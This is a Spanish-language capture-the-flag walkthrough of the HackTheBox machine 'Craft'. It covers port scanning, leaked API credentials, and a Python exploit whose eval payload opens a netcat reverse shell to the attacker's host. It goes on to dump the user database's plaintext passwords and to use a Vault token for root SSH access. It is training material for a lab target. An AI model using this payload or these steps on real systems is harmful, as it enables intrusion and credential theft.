Craft es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
Índice
Escaneo de puertos
Empezaremos realizando un escaneo con nmap sobre la ip de la misma 10.10.10.110
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
root@kali:~/hackthebox/machines/craft.htb# nmap -sV -sT -sC 10.10.10.110 -oA firstnmap Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-06 18:29 UTC Nmap scan report for 10.10.10.110 Host is up (0.052s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) 443/tcp open ssl/http nginx 1.15.8 |_http-server-header: nginx/1.15.8 |_http-title: About | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US | Not valid before: 2019-02-06T02:25:47 |_Not valid after: 2020-06-20T02:25:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds |
Descubrimos dos accesos relevantes, https en el puerto 443 y ssh en el puerto 22.
Enumeración
Accedemos por el navegador a la dirección https://10.10.10.110 y encontramos una página inicial pero que no muestra mucha información al respecto:
Vemos dos enlaces en la parte izquierda pero que apunta a la home y nos dan la misma información que hemos visto hasta ahora, pero si revisamos los enlace de la derecha apuntan a dos subdominios del mismo:
1 2 3 4 |
<ul class="nav navbar-nav pull-right"> <li><a href="https://api.craft.htb/api/">API</a></li> <li><a href="https://gogs.craft.htb/"><img alt="Git" src="/static/img/Git-Icon-Black.png" height="20" border="0" width="20"></a></li> </ul> |
Añadimos la dirección a nuestro fichero /etc/hosts estas direcciones para poder acceder a los mismos:
1 2 3 4 |
root@kali:~/hackthebox/machines/craft.htb# cat /etc/hosts |grep craft 10.10.10.110 craft.htb 10.10.10.110 api.craft.htb 10.10.10.110 gogs.craft.htb |
Accedemos a la primera de dichas urls https://api.craft.htb/api/
En esta página podemos ver varios API Endpoint con los que podemos interactuar, nos centraremos por el momento en la parte de autenticación, donde vemos dos uris diferentes /auth/check y /auth/login
Si probamos a ejecutar el mismo nos da un error al no tener un token o unas credenciales de autenticación, sigamos entonces enumerando las aplicaciones disponibles.
Accedemos a la segunda aplicación situada en la url https://gogs.craft.htb/
Revisando la página encontramos que tiene un enlace a un repositorio propio utilizado por la aplicación:
Revisando en el mismo se observa que se corrigió un problema en el código en el cual no se realizaba un chequeo de las credenciales, este fix lo realizó Dinnesh:
Revisamos en sus commits y encontramos el cambio que indica en el que añaden el check mencionado:
Revisamos entonces la API de nuevo y buscamos una petición que pueda enviar el parámetro abv:
Comprobamos el mismo y verificamos que podemos enviar una carga útil a través de una petición POST pero seguimos sin tener un token o unas credenciales con las que autenticarnos, revisamos de nuevo los commit de Dinesh y encontramos unas credenciales de acceso:
Comprobamos el acceso con las mismas y bingo, entramos:
Ahora que ya hemos comprobado que accedemos correctamente con las credenciales obtenidas, vamos a realizar un pequeño script en python que utilizaremos para acceder mediante un token a la aplicación e intentar crear un acceso mediante nc a la instancia. Utilizando parte del código obtenido en el repositorio y añadiendo alguna cosilla extra tenemos el siguiente script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
#!/usr/bin/python3 from os import system from sys import argv from subprocess import Popen import requests import json requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def get_token(): req = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) resp = req.json() token = resp['token'] return token def exploit(token, ip, port): tmpdata = {} tmpdata['id'] = 0 tmpdata['name'] = "pwnd" tmpdata['brewer'] = "pwnd" tmpdata['style'] = "pwnd" tmpdata['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')".format(ip,port) payload = json.dumps(tmpdata) print("Starting listener on port {}".format(port)) Popen(["nc", "-nlvp", port]) print("Send payload") requests.post('https://api.craft.htb/api/brew/', headers={'X-Craft-API-Token': token, 'Content-Type': 'application/json'}, data=payload, verify=False) ip = argv[1] port = argv[2] print("Authenticating") token = get_token() print("Token: {}".format(token)) exploit(token, ip, port) |
Que vamos a ejecutar para obtener acceso a la instancia y vemos que estamos dentro:
1 2 3 4 5 6 7 8 9 10 11 |
root@kali:~/hackthebox/machines/craft.htb# ./exploit.py 10.10.x.x 4444 Authenticating Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc4MzM5NTI0fQ.wu10a8xR3kRaby9iF7Q-EoVT6FiJ42TTLQF4WafvYaE Starting listener on port 4444 Send payload listening on [any] 4444 ... connect to [10.10.x.x] from (UNKNOWN) [10.10.10.110] 34001 /bin/sh: can't access tty; job control turned off /opt/app # pwd /opt/app /opt/app # |
Tenemos un acceso en el cual no disponemos de una shell como tal así que vamos a ver que podemos encontrar en el directorio actual, perteneciente a la aplicación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
/opt/app # ls -la total 36 drwxr-xr-x 5 root root 4096 Jan 6 17:25 . drwxr-xr-x 1 root root 4096 Feb 9 2019 .. drwxr-xr-x 8 root root 4096 Feb 8 2019 .git -rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore -rw-r--r-- 1 root root 1585 Feb 7 2019 app.py drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api -rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py drwxr-xr-x 2 root root 4096 Feb 7 2019 tests /opt/app # cat dbtest.py #!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1" cursor.execute(sql) result = cursor.fetchone() print(result) finally: connection.close() /opt/app # |
Encontramos un fichero, dbtest.py que realiza una consulta a la base de datos así que vamos a modificar el mismo para obtener los datos que nosotros deseamos.
Modificamos el script en cuestión, cambiando los siguientes valores:
result = cursor.fetchone() por result = cursor.fetchall()
y la consulta de base de datos por “SHOW TABLES”, quedando de la siguiente forma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#!/usr/bin/env python import pymysql from craft_api import settings # test connection to mysql database connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SHOW TABLES" cursor.execute(sql) result = cursor.fetchall() print(result) finally: connection.close() |
Levantamos un apache en nuestra instancia de Kali y subimos el fichero a la instancia por wget, después lo ejecutamos y descubrimos que hay dos tablas en la base de datos “brew” y “user”.
1 2 3 4 5 6 |
/opt/app # wget http://10.10.x.x/dbtestv1.py Connecting to 10.10.x.x (10.10.x.x:80) dbtestv1.py 100% |********************************| 629 0:00:00 ETA /opt/app # python dbtestv1.py [{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}] |
Ahora que sabemos que tablas existen en la base de datos, cambiamos la consulta por “SELECT * FROM user” y realizamos el mismo procedimiento de nuevo para obtener los usuarios existentes en la misma.
Y obtenemos los nombres de usuario existentes, así como las contraseñas de cada uno de ellos:
1 2 3 4 |
/opt/app # python dbtestv1.py [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}] |
Probamos a acceder a la página de gogs con los diferentes usuarios y descubrimos que el usuario gilfoyle tiene un repositorio privado llamado craft-indra
Revisamos el mismo y descubrimos que tiene la clave privada para acceso por ssh en una de las carpetas del repositorio
Obteniendo la flag de user
Probamos el acceso con la misma, y nos pedirá la contraseña de acceso, que es la misma que utilizamos para acceder al repositorio y listo, estamos dentro de la máquina:
Y si miramos en esta misma ruta donde nos encontramos tenemos la flag del usuario:
1 2 3 4 |
gilfoyle@craft:~$ ls -l total 4 -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt gilfoyle@craft:~$ |
Escalado de privilegios
Seguimos revisando en esta carpeta y obtenemos un fichero llamado .vault-token en el cual encontramos un token de acceso
1 2 |
gilfoyle@craft:~$ cat .vault-token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 |
Y si revisamos de nuevo en el repositorio craft-indra obtenemos un pequeño script utilizado para poder crar un rol otp como root
Ahora que hemos visto esto vamos a crear un acceso otp para poder loguearnos como root al sistema.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
gilfoyle@craft:~$ vault login Token (will be hidden): Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token. Key Value --- ----- token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103 token_duration ∞ token_renewable false token_policies ["root"] identity_policies [] policies ["root"] gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1 Key Value --- ----- lease_id ssh/creds/root_otp/bf095046-f54a-02ce-69ce-95fc2396e574 lease_duration 768h lease_renewable false ip 127.0.0.1 key 2dbcfe9b-2285-3a49-9e31-1322bbc5a68b key_type otp port 22 username root |
Obteniendo la flag de root
Y, una vez que lo hemos generado probaremos a loguearnos como root en la instancia desde este usuario y con la contraseña de un sólo uso generada:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
gilfoyle@craft:~$ ssh root@127.0.0.1 . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ Password: Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jan 6 13:22:00 2020 from 127.0.0.1 root@craft:~# root@craft:~# ls -l total 4 -r-------- 1 root root 33 Feb 9 2019 root.txt |
Y listo, estamos logueados como root y tenemos la flag del mismo, reto superado.